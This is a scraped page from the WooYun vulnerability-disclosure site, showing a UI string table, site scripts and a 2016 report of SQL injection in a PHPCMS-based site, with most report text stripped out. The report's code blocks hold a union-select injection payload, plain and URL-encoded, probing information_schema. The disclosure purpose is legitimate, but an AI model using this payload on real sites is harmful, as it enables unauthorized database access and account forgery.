UGS_RANK_STAT3":"rank\u4e3a10-20\u7684\u6b63\u6574\u6570","BUGS_COMPLEMENT_REASON":"\u6dfb\u52a0\u5bf9\u6f0f\u6d1e\u7684\u8865\u5145\u8bf4\u660e\u4ee5\u53ca\u505a\u51fa\u8bc4\u4ef7\u7684\u7406\u7531","BUGS_REPLY_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u56de\u590d","BUGS_IGNORE_CONFIRM":"\u786e\u5b9a\u5ffd\u7565\u6b64\u6f0f\u6d1e\u5417","BUGS_STATUS_NEW_UPDATE":"\u66f4\u6539\u6f0f\u6d1e\u7684\u6700\u65b0\u72b6\u6001","BUGS_STATUS_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u72b6\u6001","BUGS_PUBLIC_ADVANCE":"\u786e\u5b9a\u63d0\u524d\u516c\u5f00\u6b64\u6f0f\u6d1e\u5417","BUGS_COUNT":"\u6f0f\u6d1e\u6570","BUGS_REPLY_HAT":"\u56de\u590d\u6b64\u4eba","BUGS_DELAY_CONFIRM":"\u786e\u5b9a\u8981\u5ef6\u671f\u4e48?","BUGS_DELAY":"\u7533\u8bf7\u5ef6\u671f","BUGS_DELAY_DONE":"\u5df2\u7ecf\u5ef6\u671f","BUGS_RISK_CONFIM":"\u786e\u5b9a\u6b64\u6f0f\u6d1e\u4e3a\u9ad8\u5371\u5417?","BUGS_NULL_EDITE":"\u7559\u7a7a\u8868\u793a\u4e0d\u4fee\u6539","BUGS_DONE_CONFIRM":"\u8be5\u64cd\u4f5c\u6682\u65f6\u4e0d\u53ef\u9006\uff0c\u786e\u5b9a\uff1f","BUGS_UPUBLIC":"\u4f60\u4ece\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_UPUBLIC1":"\u91cc\u53c8\u83b7\u5f97\u4e86","BUGS_PRECHECK":"\u6709\u4eba\u63d0\u524d\u67e5\u770b\u4e86\u4f60\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_PRECHECK_UNPUBLIC":"\u63d0\u524d\u67e5\u770b\u672a\u516c\u5f00\u6f0f\u6d1e","BUGS_NUM":"\u6f0f\u6d1e\u6570\u91cf","RANKAVG":"\u4eba\u5747\u8d21\u732e Rank","CAPTCHA_GET":"\u83b7\u53d6\u9a8c\u8bc1\u7801","CAPTCHA_FILL":"\u8bf7\u8f93\u5165\u56fe\u7247\u4e2d\u7684\u9a8c\u8bc1\u7801","CAPTCHA_NULL":"\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","CAPTCHA_ERROR":"\u9a8c\u8bc1\u7801\u8f93\u5165\u9519\u8bef","CAPTCHA_PHONE_ERROR":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e","CAPTCHA_PHONE_SEND":"\u9a8c\u8bc1\u7801\u5df2\u53d1\u9001\u5230\u4f60\u7684\u624b\u673a\u4e0a\u8bf7\u6ce8\u610f\u67e5\u6536","CAPTCHA_SEND_AGAIN":"\u540e\u53ef\u91cd\u53d1","CAPTCHA_SEND_OVER":"\u77ed\u4fe1\u5df2\u53d1\u9001\u6210\u529f,\u9a8c\u8bc1\u7801\u533a\u5206\u5927\u5c0f\u5199","CAPTCHA_PHONE_NO":"\u4e0d\u9700\u8981\u77ed\u4fe1\u9a8c\u8bc1\u7801","CAPTCHA_PHONE_NULL":"\u77ed\u4fe1\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PHONE_TYPE_ERROR":"\u7535\u8bdd\u683c\u5f0f\u4e0d\u5bf9","PHONE_NOTING":"\u7535\u8bdd\u4e0d\u80fd\u4e3a\u7a7a","PHONE_FILL":"\u8bf7\u586b\u5199\u624b\u673a\u53f7","PHONE_CAPTCHA_NOTING":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_NOTING":"\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_CONFIRM_NOTING":"\u5bc6\u7801\u786e\u8ba4\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_PAY_LESS":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u5c11\u4e8e6\u4f4d","PASSWORD_FILL_DIFFERENT":"\u8f93\u5165\u7684\u4e24\u6b21\u5bc6\u7801\u4e0d\u4e00\u6837","PASSWORD_PAY_LOGIN_SAME":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u540c\u767b\u9646\u5bc6\u7801\u4e00\u6837","PASSWORD_PAY_FILL":"\u8bf7\u586b\u5199\u652f\u4ed8\u5bc6\u7801","PASSWORD_LENGH_LESS":"\u5bc6\u7801\u957f\u5ea6\u4e0d\u80fd\u5c0f\u4e8e6\u4f4d","PASSWORD_SEND_OK":"\u53d1\u9001\u5bc6\u7801\u90ae\u4ef6\u6210\u529f","PASSWORD_OFER_WRROR":"\u60a8\u63d0\u4f9b\u7684\u627e\u56de\u5bc6\u7801\u4fe1\u606f\u4e0d\u6b63\u786e","PASSWORD_OLD_ERROR":"\u539f\u5bc6\u7801\u9519\u8bef","PASSWORD_UPDATE_OK":"\u5bc6\u7801\u4fee\u6539\u6210\u529f","EMAILL_USED":"\u90ae\u7bb1\u5df2\u88ab\u5360\u7528","EMAILL_NULL":"\u90ae\u7bb1\u4e0d\u80fd\u4e3a\u7a7a\uff01","NOTING":"\u65e0","LEAVEWORDS_NULL":"\u7559\u8a00\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a","LOGIN_FIRST":"\u8bf7\u5148\u767b\u5f55","CONFIRM":"\u786e\u8ba4","YEAR":"\u5e74","DAYS":"\u5929","HOURS":"\u65f6","HOUR":"\u5c0f\u65f6","MINUTE":"\u5206","SECOND":"\u79d2","IS":"\u4e3a","ONE":"\u4e00","TWE":"\u4e8c","TIMES":"\u6b21","COUNTENT_UPDATE_FILL":"\u8bf7\u586b\u5199\u4fee\u6539\u5185\u5bb9","CANCLE":"\u53d6\u6d88","OPERATE_CONFIRM":"\u786e\u5b9a\u6b64\u64cd\u4f5c\u5417\uff1f","USERNAME":"\u59d3\u540d","SUCCESS":"\u64cd\u4f5c\u6210\u529f","FAIL_REPLY":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u586b\u5199\u56de\u590d\u4fe1\u606f","SEND_OK":"\u53d1\u9001\u6210\u529f","PHONE_BIND_DONE":"\u5df2\u7ed1\u5b9a","TAGS_USE":"\u4f7f\u7528\u6b64\u6807\u7b7e","WHITEHATS":"\u767d\u5e3d\u5b50","WHITEHATS_VERTIFY":"\u8ba4\u8bc1\u767d\u5e3d\u5b50","WHITEHATES_NAME":"\u8bf7\u8f93\u5165\u767d\u5e3d\u5b50\u7528\u6237\u540d","USER_ZONE_EDIT":"\u7f16\u8f91\u9886\u57df","WB_TRANSFER":"\u6211\u8981\u8f6c\u8d26","WB_TRANSFER_CANCEL":"\u53d6\u6d88\u8f6c\u8d26","WB_NUM":"\u8bf7\u8f93\u5165\u4e4c\u4e91\u5e01\u6570\u91cf","WB_NUMBER":"\u4e4c\u4e91\u5e01\u6570\u91cf\u4e3a\u6b63\u6574\u6570","WB_NEED_LESS":"\u81f3\u5c11\u9700\u8981","WB_NEED_SUM":"\u4e2a\u4e4c\u4e91\u5e01","WB_TRANSFER_OK":"\u8f6c\u8d26\u6210\u529f","WB_MY":"\u6211\u7684\u4e4c\u4e91\u5e01","WB_CAN_USE":"\u53ef\u7528\u7684\u4e4c\u4e91\u5e01","WB_FROZEN":"\u51bb\u7ed3\u7684\u4e4c\u4e91\u5e01","WB_LACK":"\u4e4c\u4e91\u5e01\u4e0d\u8db3","WB_SET_SCOPE":"\u51fa\u4ef7\u8303\u56f4\u4e3a","WB_BIND_CANCEL_STAT":"(\u70b9\u51fb\u201c\u53d6\u6d88\u7ed1\u5b9a\u201d\u83b7\u53d6\u9a8c\u8bc1\u7801\uff0c\u5411\u4e4c\u4e91\u516c\u4f17\u8d26\u53f7\u53d1\u9001\u9a8c\u8bc1\u7801\u53d6\u6d88\u5fae\u4fe1\u7ed1\u5b9a\uff0c\u7136\u540e\u5237\u65b0\u672c\u9875\u9762)","EMAIL_LOGIN_MEXT":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_UPDATE_LOGIN_MEXT":"\u66f4\u6539\u8bf7\u6c42\u5df2\u53d1\u9001\u5230\u90ae\u7bb1,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_SEND_OK":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f\uff01","CORPS":"\u5382\u5546","TEAM_NAME_NULL":"\u56e2\u961f\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","TEAM_HOMEPAGE_NULL":"\u56e2\u961f\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","TEAM_QQ_NULL":"\u56e2\u961fqq\u4e0d\u80fd\u4e3a\u7a7a","TEAM_BRIEF_NULL":"\u56e2\u961f\u7b80\u4ecb\u4e0d\u80fd\u4e3a\u7a7a","TEAM_EXIST":"\u56e2\u961f\u5df2\u5b58\u5728","TEAM_DISMISS_CONFIRM":"\u786e\u5b9a\u89e3\u6563\u672c\u56e2\u961f\u5417?","TEAM_NAME":"\u56e2\u961f\u540d\u79f0","TEAM_CREATER":"\u521b\u5efa\u4eba","TEAM_DONATER":"\u56e2\u961f\u4e3b\u529b","TEAM_MUMBER":"\u4eba\u6570","TEAM":"\u56e2\u961f","REGISTER_BRIEF":"*\u8bf7\u8f93\u5165\u4e2a\u4eba\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_TYPE":"*\u9009\u62e9\u6ce8\u518c\u7c7b\u578b","REGISTER_CORPS_BRIEF":"*\u8f93\u5165\u5382\u5546\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_EMAIL":"*\u5382\u5546\u90ae\u4ef6\u5fc5\u987b\u4e3a\u4f01\u4e1a\u4f7f\u7528\u7684\u6b63\u5f0f\u90ae\u4ef6","REGISTER_NAME_NULL":"\u7528\u6237\u540d\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_HOMEPAGE_NULL":"\u4e2a\u4eba\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_BREIF_NULL":"\u7b80\u8981\u4ecb\u7ecd\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPNAME_NULL":"\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPHOMEPAGE_NULL":"\u5b98\u65b9\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_LAW_AGREE":"\u540c\u610f\u300a\u4fe1\u606f\u5b89\u5168\u76f8\u5173\u4fdd\u62a4\u548c\u58f0\u660e\u300b\u624d\u80fd\u6ce8\u518c","ATTENTION":"\u5173\u6ce8","ATTENTION_SUM":"\u5173\u6ce8\u6570","ATTENTION_DONE":"\u5df2\u5173\u6ce8","ATTENTION_CANCEL":"\u53d6\u6d88\u5173\u6ce8","ATTENTION_BUG_DONE":"\u5df2\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u5173\u6ce8","ATTENTION_BUG":"\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_UNDO":"\u6ca1\u6709\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_HAT_DONE":"\u5df2\u5173\u6ce8\u6b64\u767d\u5e3d\u5b50","ATTENTION_HAT_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u767d\u5e3d\u5b50\u7684\u5173\u6ce8?","COLLECTION":"\u6536\u85cf","COLLECTION_DONE":"\u5df2\u6536\u85cf","COLLECTION_BUG_DONE":"\u5df2\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_UNDO":"\u6ca1\u6709\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u6536\u85cf","SMS_SEND_NAME":"* \u7528\u6237\u6635\u79f0\/\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_TITLE":"* \u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CONTENT":"* \u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CAPTCHA":"* \u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a<br \/>","NUMBER":"\u7684\u6b63\u6574\u6570","RATING_SUCCESS":"\u8bc4\u5206\u6210\u529f","RATING_BUGS_DONE":"\u5df2\u5bf9\u6b64\u6f0f\u6d1e\u8fdb\u884c\u8fc7\u8bc4\u5206","RATING_BUGS_SELF":"\u4e0d\u80fd\u5bf9\u81ea\u5df1\u53d1\u5e03\u7684\u6f0f\u6d1e\u8fdb\u884c\u8bc4\u5206","RATING_SUBMIT_CANCLE":"\u53d6\u6d88\u63d0\u4ea4\u8bc4\u5206","RATING_SUBMIT":"\u63d0\u4ea4\u6211\u7684\u8bc4\u5206","RATING_SUBMIT_CHECK":"\u8bf7\u786e\u5b9a\u6bcf\u4e00\u9879\u90fd\u9009\u62e9\u4e86\u8bc4\u5206","RATING_CONFIRM":"\u786e\u5b9a\u63d0\u4ea4\u5bf9\u6b64\u5382\u5546\u7684\u8bc4\u5206\u5417\uff1f","RATING_LOGIN":"\u53ea\u6709\u767b\u5f55\u7684\u767d\u5e3d\u5b50\u624d\u80fd\u8bc4\u5206","RATING_DONE":"\u5df2\u7ecf\u8bc4\u8fc7\u5206\u4e86","WOOYUN_CORPS":"\u4e4c\u4e91\u5382\u5546","MARST_IMAGE":"\u5bf9\u56fe\u7247\u6253\u7801","FEEDBACK_LINK_NULL":"\u94fe\u63a5\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_LINK_ERROR":"\u8bf7\u4e66\u5199\u6b63\u786e\u7684\u94fe\u63a5\u5730\u5740\uff01","FEEDBACK_CONTENT_NULL":"\u95ee\u9898\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_ALLOW_LIMIT":"\u534a\u5c0f\u65f6\u53ea\u5141\u8bb8\u53cd\u9988\u4e00\u6b21","TOP_RANK":"\u6392\u540d","TOP_BUG_TITLE":"\u6f0f\u6d1e\u6807\u9898","TOP_RANK_NONE":"\u6682\u65e0\u6392\u540d","TOP_BUGS_GOOD":"\u4f18\u8d28\u6f0f\u6d1e\u6570","NICKNAME":"\u6635\u79f0","LEVEL":"\u7b49\u7ea7","VALUE":"\u503c","EDITOR_INSERT_PIC":"\u63d2\u5165\u56fe\u7247","EDITOR_PIC_ADDR":"\u5730\u5740\uff1a","EDITOR_CONFIRM":"\u786e\u5b9a","EDITOR_PIC_NULL":"\u8bf7\u4e0a\u4f20\u56fe\u7247\u6216\u586b\u5199\u56fe\u7247\u5730\u5740","EDITOR_INSERT_VIDIO":"\u63d2\u5165\u89c6\u9891","EDITOR_VIDIO_ADDR":"\u89c6\u9891\u5730\u5740\uff1a","EDITOR_VIDIO_NULL":"\u8bf7\u586b\u5199\u89c6\u9891\u5730\u5740(.swf)","EDITOR_VIDIO_TYPE":"\u76ee\u524d\u4ec5\u652f\u6301.swf\u683c\u5f0f","PIC_SELECT":"\u8bf7\u9009\u62e9\u5f85\u4e0a\u4f20\u7684\u56fe\u7247","PIC_TYPE_IS":"\u56fe\u7247\u7c7b\u578b\u4e3a","UPLOAD":"\u4e0a\u4f20","RANK_AVG":"\u6f0f\u6d1e\u5e73\u5747"};
$(function(){
function getParamsOfShareWindow(width, height) {
return ['toolbar=0,status=0,resizable=1,width=' + width + ',height=' + height + ',left=',(screen.width-width)/2,',top=',(screen.height-height)/2].join('');
}
});
function errimg(img){
tmp=img.src;
nimg=tmp.replace("path_to_url","path_to_url");
img.src=nimg;
$(img).parent().attr('href',nimg);
img.onerror=null;
}
function AttendBug(id){
$.get('/ajaxdo.php',{module:'attendbug',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())+1);
$("#attend_action").html(''+_LANGJS.ATTENTION_DONE+' <a class="btn" href="javascript:void(0)" onclick="AttendCancel('+id+')">'+_LANGJS.ATTENTION_CANCEL+'</a></span>');
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.ATTENTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function AttendCancel(id){
if(confirm(_LANGJS.ATTENTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{module:'attendcancel',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())-1);
$("#attend_action").html('<a class="btn" href="javascript:void(0)" onclick="AttendBug('+id+')">'+_LANGJS.ATTENTION_BUG+'</a></span>');
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
function CollectBug(id,token){
$.get('/ajaxdo.php',{'module':'collect','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())+1);
$(".btn-fav").removeClass("fav-add");
$(".btn-fav").addClass("fav-cancel");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectCancel(id,token);
});
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.COLLECTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function CollectCancel(id,token){
if(confirm(_LANGJS.COLLECTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{'module':'collectcancel','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())-1);
$(".btn-fav").removeClass("fav-cancel");
$(".btn-fav").addClass("fav-add");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectBug(id,token);
});
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
</script>
<div class="content">
<input type="hidden" id="token" style="display:none" value="" />
<h2>
<span style="margin:0 0 0 580px; float:right; position:absolute; font-size:14px; font-weight:normal">(<span id="attention_num">8</span>)
<span id="attend_action">
<a class="btn" href="javascript:void(0)" onclick="AttendBug(177317)"></a></span>
</span></h2>
<h3> <a href="wooyun-2016-0177317">WooYun-2016-177317</a>
<input id="fbid" type="hidden" value="177317">
</h3>
<h3 class='wybug_title'> SQL </h3>
<h3 class='wybug_corp'> <a href="path_to_url">
</a>
</h3>
<h3 class='wybug_author'> <a href="path_to_url"></a></h3>
<h3 class='wybug_date'> 2016-02-20 18:38</h3>
<h3 class='wybug_open_date'> 2016-03-07 01:11</h3>
<h3 class='wybug_type'> SQL</h3>
<h3 class='wybug_level'> </h3>
<h3>Rank 20</h3>
<h3 class='wybug_status'>
</h3>
<h3> <a href="path_to_url">path_to_url help@wooyun.org</h3>
<h3>Tags
<span class="tag"><a href="path_to_url"></a></span>
<span class="tag"><a href="path_to_url">Mysql</a></span>
<span class="tag"><a href="path_to_url"></a></span>
</h3>
<h3>
<!-- Baidu Button BEGIN -->
<div id="share">
<div style="float:right; margin-right:100px;font-size:12px">
<span class="fav-num"><a id="collection_num">2</a></span>
<a style="text-decoration:none; font-size:12px" href="javascript:void(0)" class="fav-add btn-fav"></a>
<script type="text/javascript">
var token="";
var id="177317";
$(".btn-fav").click(function(){ CollectBug(id,token); });
</script>
</div>
<span style="float:left;"></span>
<div id="bdshare" class="bdshare_b" style="line-height: 12px;"><img src="path_to_url" />
<a class="shareCount"></a>
</div>
</div>
<!-- Baidu Button END -->
</h3>
<hr align="center"/>
<h2></h2>
<h3 class="detailTitle"></h3>
<p class="detail" style="padding-bottom:0">
</p>
<p class="detail wybug_open_status">
2016-02-20 <br/>
2016-02-20 <br/>
2016-03-01 <br/>
2016-03-11 <br/>
2016-03-21 <br/>
2016-03-07 <br/>
</p>
<h3 class="detailTitle"></h3>
<p class="detail wybug_description">RT</p>
<h3 class="detailTitle"></h3>
<div class='wybug_detail'>
<p class="detail">path_to_url phpcms<br />
<br />
path_to_url />
<br />
<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>123456&username=' union select '2999999','test','5f1d7a84db00d2fce00b31a7fc73224f','123456',null,your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash736368656D612E7461626C65732067726F75702062792061296229292C27,111,222,0x33333333272923,444,555,666,null#</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
URL<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>123456%26username%3d%2527%2bunion%2bselect%2b%25272999999%2527%252c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash%252c111%252c222%252c0x33333333272923%252c444%252c555%252c666%252cnull%2523</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
</p><p class="detail usemasaic"><a href="../upload/201602/20181805170573d46f27b42200a179bd1076f69c.png" target="_blank"><img src="../upload/201602/20181805170573d46f27b42200a179bd1076f69c.png" alt="001.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />
<br />
<br />
<br />
</p><p class="detail usemasaic"><a href="../upload/201602/20181816c8a26a0985eac17606ad562779b2bad0.png" target="_blank"><img src="../upload/201602/20181816c8a26a0985eac17606ad562779b2bad0.png" alt="002.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />
<br />
<br />
<br />
:path_to_url />
<br />
<br />
<br />
</p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_poc'>
<p class="detail"></p><p class="detail usemasaic"><a href="../upload/201602/20181816c8a26a0985eac17606ad562779b2bad0.png" target="_blank"><img src="../upload/201602/20181816c8a26a0985eac17606ad562779b2bad0.png" alt="002.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"> </p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_patch'>
<p class="detail"> </p>
</div>
<h3 class="detailTitle"> <a style="font-weight:normal" href="path_to_url" title=""></a>@<a style="font-weight:normal" href="path_to_url" title="SQL"></a></h3>
<hr align="center"/>
<h2 id="bugreply"></h2>
<div class='bug_result'>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<p class="detail">Rank10 </p>
<p class="detail">2016-02-20 23:14</p>
<h3 class="detailTitle"></h3>
<p class="detail">....!!!!</p>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
</div>
<hr align="center" />
<script type="text/javascript">
var bugid="177317";
var bugRating="-3";
var myRating="";
var ratingCount="0";
function ShowBugRating(k){
var ratingItems=$(".myrating span");
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
$(".myrating span").hover(
function(){
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$("#ratingShow").html("");
}
);
}
$(document).ready(function(){
if(myRating==""){
var ratingItems=$(".myrating span");
$(".myrating span").hover(
function(){
$(this).addClass("hover");
var k=parseInt($(this).attr("rel"));
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<k) $(n).addClass("on");
if(nk>k) $(n).removeClass("on");
});
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$(this).removeClass("hover");
if($("#myRating").val()==""){
$.each(ratingItems,function(i,n){
$(n).removeClass("on");
});
}
$("#ratingShow").html("");
}
);
$(".myrating span").click(function(){
var rating=$(this).attr("rel");
var k=parseInt($(this).attr("rel"));
$.post("/ajaxdo.php?module=bugrating",{"id":bugid,"rating":rating,"token":$("#token").val()},function(re){
//
$(".myrating span").unbind();
re=parseInt(re);
switch(re){
case 1:
$("#ratingShow").html(_LANGJS.RATING_SUCCESS);
$("#ratingSpan").html(parseInt($("#ratingSpan").html())+1);
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
ShowBugRating(rating);
break;
case 2:
$("#ratingShow").html(_LANGJS.LOGIN_FIRST);
break;
case 4:
$("#ratingShow").html(_LANGJS.RATING_BUGS_DONE);
break;
case 6:
$("#ratingShow").html(_LANGJS.RATING_BUGS_SELF);
break;
default:break;
}
});
});
}else{
if(ratingCount>2){
ShowBugRating(bugRating);
}else{
ShowBugRating(-3);
}
}
});
</script>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<h5 class="rating">
<div class="ratingText"><span>(<span id="ratingSpan">0</span>)</span>:</div>
<div class="myrating">
<span rel="-2" data-title=""></span>
<span rel="-1" data-title=""></span>
<span rel="0" data-title=""></span>
<span rel="1" data-title=""></span>
<span rel="2" data-title=""></span>
<div id="ratingShow">
</div>
</div>
</h5>
<input type="hidden" id="myRating" value="" />
<hr align="center" />
<h2></h2>
<div id="replys" class="replys">
<ol class="replylist">
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2016-02-20 18:39</span> |
<a target='_blank' href="path_to_url"></a> <img height="12" width="12" style="vertical-align:-2px;" src="../images/v.png" alt="" /> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:44 :2 | )
<div class="likebox">
<span class="likepre" title="" rel="185043"></span>
<span class="liketext liketext_min"><span id="likenum_185043">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">1#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2016-02-20 18:45</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:38 :8 )
<div class="likebox">
<span class="likepre" title="" rel="185044"></span>
<span class="liketext liketext_min"><span id="likenum_185044">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@ 0day - - </p>
</div>
<div class="replylist-act">
<span class="floor">2#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2016-02-20 20:16</span> |
<a target='_blank' href="path_to_url"></a> <img height="12" width="12" style="vertical-align:-2px;" src="../images/v.png" alt="" /> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:933 :107 )
<div class="likebox">
<span class="likepre" title="" rel="185050"></span>
<span class="liketext liketext_min"><span id="likenum_185050">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>PHPCMS? </p>
</div>
<div class="replylist-act">
<span class="floor">3#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
</ol><!-- replylist End -->
</div><!-- replys End -->
<div id="reply" class="reply">
<a name="comment"></a>
<p class="detail">
<a href="path_to_url"><u></u></a>
</p>
<script type="text/javascript">
var masaic = '0';
function CommentLike(id){
$.post("/ajaxdo.php?module=commentrating",{"id":id,"token":$("#token").val()},function(re){
re=parseInt(re);
switch(re){
case 1:
$("#likenum_"+id).html(parseInt($("#likenum_"+id).html())+1);
break;
case 4:
alert(_LANGJS.COMMENT_GOOD_DONE);
break;
case 6:
alert(_LANGJS.COMMENT_SELF);
break;
default:break;
}
});
}
$(document).ready(function(){
$(".likebox .likepre").click(function(){
CommentLike($(this).attr("rel"));
});
});
</script>
<div>
</div>
<div id="footer">
<span class="copyright fleft">
<a href="path_to_url">ICP15041338-1</a>
<!--a href="path_to_url" target="_blank"><img src="/images/sae_bottom_logo.png" title="Powered by Sina App Engine"></a-->
</span>
<span class="other fright">
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
</span>
</div>
<script type="text/javascript">
var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fc12f88b5c1cd041a732dea597a5ec94c' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript" id="bdshare_js" data="type=button" ></script>
<script type="text/javascript" id="bdshell_js"></script>
<script type="text/javascript">
document.getElementById("bdshell_js").src = "path_to_url" + new Date().getHours();
if (top.location !== self.location) top.location=self.location;
</script>
</body>
</html>
```
|
```javascript
